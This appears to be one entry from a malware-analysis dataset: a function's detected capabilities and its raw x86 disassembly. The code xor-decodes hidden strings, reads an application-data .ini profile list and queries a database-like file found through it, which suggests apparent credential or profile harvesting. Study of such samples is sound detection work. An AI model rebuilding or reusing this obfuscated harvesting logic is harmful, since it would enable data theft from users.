Function at 0x447a00
Capabilities:
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x52bb64
push eax
mov eax, 0x148c
mov dword fs:[0], esp
call fcn.004e7020
push esi
mov esi, ecx
push edi
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 4], 1
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.0048c060
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x60], 1
mov eax, esp
lea ecx, [ebp - 0x11c]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00488530
add esp, 8
mov byte [ebp - 4], 3
xor edx, edx
mov byte [ebp - 0x44], 0x31
mov edi, 0xf
mov byte [ebp - 0x43], 0x2e
mov byte [ebp - 0x42], 0x2e
mov byte [ebp - 0x41], 0xa
mov byte [ebp - 0x40], 2
mov byte [ebp - 0x3f], 9
mov byte [ebp - 0x3e], 6
mov byte [ebp - 0x3d], 9
mov byte [ebp - 0x3c], 0x6c
mov al, byte [ebp - 0x44]
mov dword [ebp - 0x20], edx
nop
mov al, byte [ebp + edx - 0x44]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0x1925555d
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x20]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x44], al
inc edx
mov dword [ebp - 0x20], edx
cmp edx, 9
jb 0x447ab0
lea eax, [ebp - 0x44]
mov ecx, esi
push eax
call fcn.0048eef0
mov edi, eax
mov byte [ebp - 4], 4
mov dl, byte [edi]
mov cl, byte [ebp - 0x11c]
mov byte [edi], cl
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x110]
mov byte [ebp - 0x11c], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x110], esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x114]
push dword [ebp - 0x11c]
call fcn.0048bd40
push 0x104
lea eax, [ebp - 0x498]
push 0
push eax
call fcn.004fe500
add esp, 0xc
lea eax, [ebp - 0x498]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0x498]
lea ecx, [ebp - 0x1d0]
call fcn.0048ec50
add esp, 4
mov byte [ebp - 4], 5
xor edx, edx
mov byte [ebp - 0x5b], 0x9c
mov esi, 0xf
mov byte [ebp - 0x5a], 0xac
mov byte [ebp - 0x59], 0xa5
mov byte [ebp - 0x58], 0xb4
mov byte [ebp - 0x57], 0xb9
mov byte [ebp - 0x56], 0xb6
mov byte [ebp - 0x55], 0xb9
mov byte [ebp - 0x54], 0xb6
mov byte [ebp - 0x53], 0xa7
mov byte [ebp - 0x52], 0xf2
mov byte [ebp - 0x51], 0xbf
mov byte [ebp - 0x50], 0xb3
mov byte [ebp - 0x4f], 0xb8
mov byte [ebp - 0x4e], 0xd5
mov al, byte [ebp - 0x5b]
mov dword [ebp - 0x20], edx
mov al, byte [ebp + edx - 0x5b]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x50bc96cf
mov edx, 0xdc9a7f43
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x20]
and al, 0xf
lea ecx, [edx - 0x31]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x5b], al
inc edx
mov dword [ebp - 0x20], edx
cmp edx, 0xe
jb 0x447bd2
lea eax, [ebp - 0x5b]
push eax
lea edx, [ebp - 0x1d0]
lea ecx, [ebp - 0x1a0]
call fcn.0048eb20
add esp, 4
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1a0]
cmp dword [ebp - 0x18c], 0x10
cmovae eax, dword [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1498]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea edi, [ebp - 0x1498]
mov dword [ebp - 0x20], edi
nop word [eax + eax]
mov byte [ebp - 0x3b], 0x80
xor edx, edx
mov byte [ebp - 0x3a], 0xa7
mov byte [ebp - 0x39], 0xb7
mov byte [ebp - 0x38], 0xba
mov byte [ebp - 0x37], 0xb3
mov byte [ebp - 0x36], 0xb8
mov byte [ebp - 0x35], 0xbd
mov byte [ebp - 0x34], 0xd2
mov al, byte [ebp - 0x3b]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x3b]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xc58161d7
mov edx, 0x27f75b5d
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x3b], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 8
jb 0x447c90
push 7
lea eax, [ebp - 0x3b]
push eax
push edi
call fcn.00509afe
add esp, 0xc
test eax, eax
jne 0x448a22
push 0x104
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.004fe500
add esp, 0xc
lea esi, [ebp - 0x1a0]
cmp dword [ebp - 0x18c], 0x10
mov edi, 0xf
cmovae esi, dword [ebp - 0x1a0]
xor edx, edx
mov byte [ebp - 0x2e], 0xa0
mov byte [ebp - 0x2d], 0x90
mov byte [ebp - 0x2c], 0x89
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 9
mov al, byte [ebp - 0x2e]
mov dword [ebp - 0x14], edx
nop
mov al, byte [ebp + edx - 0x2e]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0x869892fd
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x2e], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 5
jb 0x447d30
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x394]
push esi
push 0x104
push eax
push 0
lea eax, [ebp - 0x2e]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov byte [ebp - 0x16], 0x1c
xor edx, edx
mov byte [ebp - 0x15], 0x4c
mov al, byte [ebp - 0x16]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x16]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0xffe320b4
cmovae ecx, eax
mov eax, 0xa3b47547
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x16], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 2
jb 0x447da0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x16]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447df0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x1c0]
sub eax, edx
cmp eax, ecx
jb 0x448a78
cmp dword [ebp - 0x1bc], 0x10
lea eax, [ebp - 0x1d0]
push ecx
cmovae eax, dword [ebp - 0x1d0]
lea ecx, [ebp - 0x16]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x1f8]
call fcn.00492df0
mov esi, dword [ebp - 0x60]
lea eax, [ebp - 0x394]
or esi, 2
lea edx, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x60], esi
call fcn.0048ebb0
add esp, 4
mov byte [ebp - 4], 8
and esi, 0xfffffffd
mov dword [ebp - 0x60], esi
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1f8]
call fcn.0040b870
xorps xmm0, xmm0
mov dword [ebp - 0xac], 0
lea ecx, [ebp - 0x394]
mov dword [ebp - 0xa8], 0
movups xmmword [ebp - 0xbc], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447ea0
sub ecx, edx
lea eax, [ebp - 0x394]
push ecx
push eax
lea ecx, [ebp - 0xbc]
call fcn.0040bb00
mov byte [ebp - 4], 0xa
lea edi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov esi, dword [ebp - 0xac]
cmovae edi, dword [ebp - 0xbc]
test esi, esi
je 0x448029
push esi
push 0x2f
push edi
call fcn.004ffcf0
add esp, 0xc
test eax, eax
je 0x448029
sub eax, edi
cmp eax, 0xffffffff
je 0x448029
mov byte [ebp - 0x18], 0x6f
xor edx, edx
mov byte [ebp - 0x17], 0x4c
mov al, byte [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x18]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0xffe320b4
cmovae ecx, eax
mov eax, 0xa3b47547
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x18], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 2
jb 0x447f11
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x1e0], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447f80
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.0040bb00
mov byte [ebp - 4], 0xb
sub esp, 0x18
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x1dc], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0xc
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x170]
call fcn.00415760
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x16c]
mov esi, dword [ebp - 0x170]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xbc]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x448014
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x448007
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xbc]
call fcn.0048a3c0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x170]
call fcn.0048c6c0
mov esi, dword [ebp - 0xac]
cmp dword [ebp - 0xa8], 0x10
lea edi, [ebp - 0xbc]
cmovae edi, dword [ebp - 0xbc]
test esi, esi
je 0x448183
push esi
push 0x5c
push edi
call fcn.004ffcf0
add esp, 0xc
test eax, eax
je 0x448183
sub eax, edi
cmp eax, 0xffffffff
je 0x448183
mov byte [ebp - 0x1a], 0x1c
xor edx, edx
mov byte [ebp - 0x19], 0x4c
mov al, byte [ebp - 0x1a]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x1a]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0xffe320b4
cmovae ecx, eax
mov eax, 0xa3b47547
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1a], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 2
jb 0x448074
sub esp, 0x18
lea ecx, [ebp - 0x1a]
mov edx, esp
mov dword [ebp - 0x1d8], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4480e0
sub ecx, esi
lea eax, [ebp - 0x1a]
push ecx
push eax
mov ecx, edx
call fcn.0040bb00
mov byte [ebp - 4], 0xe
sub esp, 0x18
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x1d4], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0xf
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x164]
call fcn.00415760
add esp, 0x30
mov byte [ebp - 4], 0x10
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x160]
mov esi, dword [ebp - 0x164]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xbc]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x448174
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x448167
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xbc]
call fcn.0048a3c0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x164]
call fcn.0048c6c0
mov byte [ebp - 0x74], 0xcc
xor edx, edx
mov byte [ebp - 0x73], 0xcf
mov esi, 0xf
mov byte [ebp - 0x72], 0xcb
mov byte [ebp - 0x71], 0xd0
mov byte [ebp - 0x70], 0xc6
mov byte [ebp - 0x6f], 0xc0
mov byte [ebp - 0x6e], 0xc3
mov byte [ebp - 0x6d], 0xdc
mov byte [ebp - 0x6c], 0xda
mov byte [ebp - 0x6b], 0xc2
mov byte [ebp - 0x6a], 0xd6
mov byte [ebp - 0x69], 0xd7
mov byte [ebp - 0x68], 0x86
mov byte [ebp - 0x67], 0xd0
mov byte [ebp - 0x66], 0xd7
mov byte [ebp - 0x65], 0xcf
mov byte [ebp - 0x64], 0xc9
mov byte [ebp - 0x63], 0xcd
mov byte [ebp - 0x62], 0xd1
mov byte [ebp - 0x61], 0xb2
mov al, byte [ebp - 0x74]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x74]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x9fc8059f
mov edx, 0xdbf34d59
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x61]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x74], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x14
jb 0x4481e0
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x188]
call fcn.0048eb20
add esp, 4
mov byte [ebp - 4], 0x11
xor edx, edx
mov byte [ebp - 0x23], 0x12
mov byte [ebp - 0x22], 6
mov byte [ebp - 0x21], 0x60
mov al, byte [ebp - 0x23]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x23]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0x2f5a3361
mov edx, 0x41ef8f97
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x23], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 3
jb 0x448250
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x23]
lea eax, [ebp - 0x188]
cmovae eax, dword [ebp - 0x188]
push ecx
push eax
call fcn.00502370
add esp, 8
test eax, eax
je 0x44895e
push eax
call fcn.00505bfe
add esp, 4
mov byte [ebp - 0xec], 0
lea ecx, [ebp - 0xe4]
push 0
call fcn.0048c060
mov byte [ebp - 4], 0x13
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x12c]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00488530
add esp, 8
mov byte [ebp - 4], 0x14
mov al, byte [ebp - 0xec]
test al, al
jne 0x448322
mov byte [ebp - 0xec], 1
call fcn.0048fd40
mov ecx, eax
mov dword [ebp - 0xe4], ecx
mov al, byte [ebp - 0xec]
jmp 0x448328
mov ecx, dword [ebp - 0xe4]
cmp al, 1
jne 0x448ad7
lea eax, [ebp - 0xbc]
push eax
call fcn.0048c240
mov edi, eax
mov byte [ebp - 4], 0x17
mov dl, byte [edi]
mov cl, byte [ebp - 0x12c]
mov byte [edi], cl
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x120]
mov byte [ebp - 0x12c], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x120], esi
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x124]
push dword [ebp - 0x12c]
call fcn.0048bd40
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x188]
lea edx, [ebp - 0xd8]
cmovae ecx, dword [ebp - 0x188]
call fcn.00422a10
test eax, eax
jne 0x4488be
mov byte [ebp - 0xa2], 0xd3
xor edx, edx
mov byte [ebp - 0xa1], 0xdd
mov byte [ebp - 0xa0], 0xde
mov byte [ebp - 0x9f], 0xde
mov byte [ebp - 0x9e], 0xde
mov byte [ebp - 0x9d], 0xcb
mov byte [ebp - 0x9c], 0xbb
mov byte [ebp - 0x9b], 0xff
mov byte [ebp - 0x9a], 0xf7
mov byte [ebp - 0x99], 0xfc
mov byte [ebp - 0x98], 0xf0
mov byte [ebp - 0x97], 0xf2
mov byte [ebp - 0x96], 0xfd
mov byte [ebp - 0x95], 0xfc
mov byte [ebp - 0x94], 0xf8
mov byte [ebp - 0x93], 0xfe
mov byte [ebp - 0x92], 0xbc
mov byte [ebp - 0x91], 0x88
mov byte [ebp - 0x90], 0xd4
mov byte [ebp - 0x8f], 0xca
mov byte [ebp - 0x8e], 0xc1
mov byte [ebp - 0x8d], 0xda
mov byte [ebp - 0x8c], 0xce
mov byte [ebp - 0x8b], 0x89
mov byte [ebp - 0x8a], 0xe8
mov byte [ebp - 0x89], 0xfb
mov byte [ebp - 0x88], 0xe3
mov byte [ebp - 0x87], 0xeb
mov byte [ebp - 0x86], 0x83
mov byte [ebp - 0x85], 0xc0
mov byte [ebp - 0x84], 0xca
mov byte [ebp - 0x83], 0xd1
mov byte [ebp - 0x82], 0xff
mov byte [ebp - 0x81], 0xde
mov byte [ebp - 0x80], 0xdd
mov byte [ebp - 0x7f], 0xc9
mov byte [ebp - 0x7e], 0xd0
mov byte [ebp - 0x7d], 0xd7
mov byte [ebp - 0x7c], 0xd2
mov byte [ebp - 0x7b], 0xca
mov byte [ebp - 0x7a], 0xca
mov byte [ebp - 0x79], 0xd6
mov byte [ebp - 0x78], 0xce
mov byte [ebp - 0x77], 0xcf
mov byte [ebp - 0x76], 0x88
mov byte [ebp - 0x75], 0xbd
mov al, byte [ebp - 0xa2]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0xa2]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0x5818c519
cmovae ecx, eax
mov eax, 0xfebe938f
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0xa2], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x2e
jb 0x4484e0
mov edi, dword [ebp - 0xd8]
lea eax, [ebp - 0xd4]
push ecx
push eax
push ecx
lea edx, [ebp - 0xa2]
mov ecx, edi
call fcn.004d6fb0
add esp, 0xc
test eax, eax
jne 0x4488b7
mov esi, dword [ebp - 0xd4]
mov ecx, esi
call fcn.004c2850
cmp eax, 0x64
jne 0x4488b0
xor edx, edx
mov ecx, esi
call fcn.004c2b40
mov edx, 1
mov dword [ebp - 0x130], eax
mov ecx, esi
call fcn.004c2b40
push 0
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0x138], eax
mov byte [ebp - 0xd0], 0
call fcn.0048c060
mov byte [ebp - 4], 0x19
xorps xmm0, xmm0
lea edx, [ebp - 0x130]
mov byte [ebp - 0x10c], 0
lea ecx, [ebp - 0x10c]
movq qword [ebp - 0x104], xmm0
call fcn.004a0900
mov byte [ebp - 4], 0x1a
mov byte [ebp - 0x33], 0x9e
mov byte [ebp - 0x32], 0x90
mov byte [ebp - 0x31], 0x90
mov byte [ebp - 0x30], 0x6c
mov byte [ebp - 0x2f], 9
mov al, byte [ebp - 0x33]
xor eax, eax
mov dword [ebp - 0x14], eax
mov cl, byte [ebp + eax - 0x33]
mov edx, 0xc2b6c60e
mov byte [ebp - 0xd], cl
mov ecx, eax
and ecx, 0xf
mov eax, 0xf
cmp ecx, 0xf
cmovae ecx, eax
mov eax, 0x869892fd
shl ecx, 2
call fcn.00521900
mov dl, al
mov eax, dword [ebp - 0x14]
and dl, 0xf
lea ecx, [eax - 3]
xor dl, cl
xor dl, byte [ebp - 0xd]
mov byte [ebp + eax - 0x33], dl
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 5
jb 0x4485e2
lea eax, [ebp - 0x33]
push eax
lea ecx, [ebp - 0xd0]
call fcn.0048eef0
mov edi, eax
mov byte [ebp - 4], 0x1b
mov dl, byte [edi]
mov cl, byte [ebp - 0x10c]
mov eax, dword [ebp - 0x104]
mov byte [edi], cl
mov esi, dword [edi + 0xc]
mov ecx, dword [ebp - 0x100]
mov byte [ebp - 0x10c], dl
mov byte [ebp - 0x134], dl
mov edx, dword [edi + 8]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x104], edx
mov dword [ebp - 0x100], esi
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x104]
push dword [ebp - 0x134]
call fcn.0048bd40
xorps xmm0, xmm0
mov byte [ebp - 0xfc], 0
lea edx, [ebp - 0x138]
movq qword [ebp - 0xf4], xmm0
lea ecx, [ebp - 0xfc]
call fcn.004a0900
mov byte [ebp - 4], 0x1c
xor edx, edx
mov byte [ebp - 0x29], 0xc6
mov byte [ebp - 0x28], 0xaa
mov byte [ebp - 0x27], 0xa2
mov byte [ebp - 0x26], 0xb9
mov byte [ebp - 0x25], 0xaf
mov byte [ebp - 0x24], 0xc1
mov al, byte [ebp - 0x29]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x29]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0xa07123be
cmovae ecx, eax
mov eax, 0x6e59efbf
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x41]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x29], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 6
jb 0x4486d3
mov al, byte [ebp - 0xd0]
test al, al
jne 0x448754
push 1
lea ecx, [ebp - 0x158]
mov byte [ebp - 0xd0], 1
call fcn.0048c060
mov eax, dword [ebp - 0x154]
mov esi, dword [ebp - 0x158]
mov dword [ebp - 0xc8], esi
mov dword [ebp - 0xc4], eax
mov al, byte [ebp - 0xd0]
jmp 0x44875a
mov esi, dword [ebp - 0xc8]
cmp al, 1
jne 0x448a82
xorps xmm0, xmm0
mov dword [ebp - 0x140], 0
lea edx, [ebp - 0x29]
mov dword [ebp - 0x13c], 0
movups xmmword [ebp - 0x150], xmm0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x448786
sub edx, ecx
lea eax, [ebp - 0x29]
push edx
push eax
lea ecx, [ebp - 0x150]
call fcn.0040bb00
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x150]
push eax
mov ecx, esi
call fcn.004926d0
mov edi, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0x10
jb 0x4487f1
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4487e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a7d
push ecx
push edx
call fcn.004e62c1
add esp, 8
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
mov byte [ebp - 4], 0x20
mov cl, byte [edi]
mov al, byte [ebp - 0xfc]
mov byte [edi], al
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov eax, dword [ebp - 0xf4]
mov byte [ebp - 0xfc], cl
mov byte [ebp - 0xc0], cl
mov ecx, dword [ebp - 0xf0]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xf4], edx
mov dword [ebp - 0xf0], esi
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0xf4]
push dword [ebp - 0xc0]
call fcn.0048bd40
lea eax, [ebp - 0xbc]
push eax
lea ecx, [ebp - 0xec]
call fcn.00487dd0
lea ecx, [ebp - 0xd0]
push ecx
mov ecx, eax
call fcn.00487b60
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xc8]
push dword [ebp - 0xd0]
call fcn.0048bd40
mov esi, dword [ebp - 0xd4]
mov ecx, esi
call fcn.004c2850
cmp eax, 0x64
je 0x448566
mov edi, dword [ebp - 0xd8]
mov ecx, esi
call fcn.004c24c0
mov ecx, edi
call fcn.00422df0
mov byte [ebp - 0x4d], 0x31
xor edx, edx
mov byte [ebp - 0x4c], 0x2e
mov esi, 0xf
mov byte [ebp - 0x4b], 0x2e
mov byte [ebp - 0x4a], 0xa
mov byte [ebp - 0x49], 2
mov byte [ebp - 0x48], 9
mov byte [ebp - 0x47], 6
mov byte [ebp - 0x46], 9
mov byte [ebp - 0x45], 0x6c
mov al, byte [ebp - 0x4d]
mov dword [ebp - 0x14], edx
nop
mov al, byte [ebp + edx - 0x4d]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x1925555d
mov edx, 0x83349529
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x4d], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0x4488f0
mov ecx, dword [ebp - 0xdc]
lea eax, [ebp - 0x4d]
push eax
call fcn.0048eef0
lea ecx, [ebp - 0xec]
push ecx
mov ecx, eax
call fcn.00487b60
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xe4]
push dword [ebp - 0xec]
call fcn.0048bd40
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x188]
call fcn.0040b870
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x4489ab
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4489a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a7d
push ecx
push edx
call fcn.004e62c1
add esp, 8
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x1a4]
cmp ecx, 0x10
jb 0x448a04
mov edx, dword [ebp - 0x1b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4489fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a7d
push ecx
push edx
call fcn.004e62c1
add esp, 8
mov edi, dword [ebp - 0x20]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
mov dword [ebp - 0x20], edi
cmp byte [edi], 0
jne 0x447c60
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1a0]
call fcn.0040b870
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d0]
call fcn.0040b870
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0040b870
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0040b180
call fcn.005017c0
lea ecx, [ebp - 0xd0]
call fcn.0048c360
push eax
lea ecx, [ebp - 0x248]
call fcn.0040b750
mov byte [ebp - 4], 0x1e
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x260]
call fcn.0048ece0
mov byte [ebp - 4], 0x1f
mov edx, 0x131
push eax
lea ecx, [ebp - 0x214]
call fcn.00412b50
add esp, 8
lea eax, [ebp - 0x214]
push 0x56b638
push eax
call fcn.004fdd4b
lea ecx, [ebp - 0xec]
call fcn.0048c360
push eax
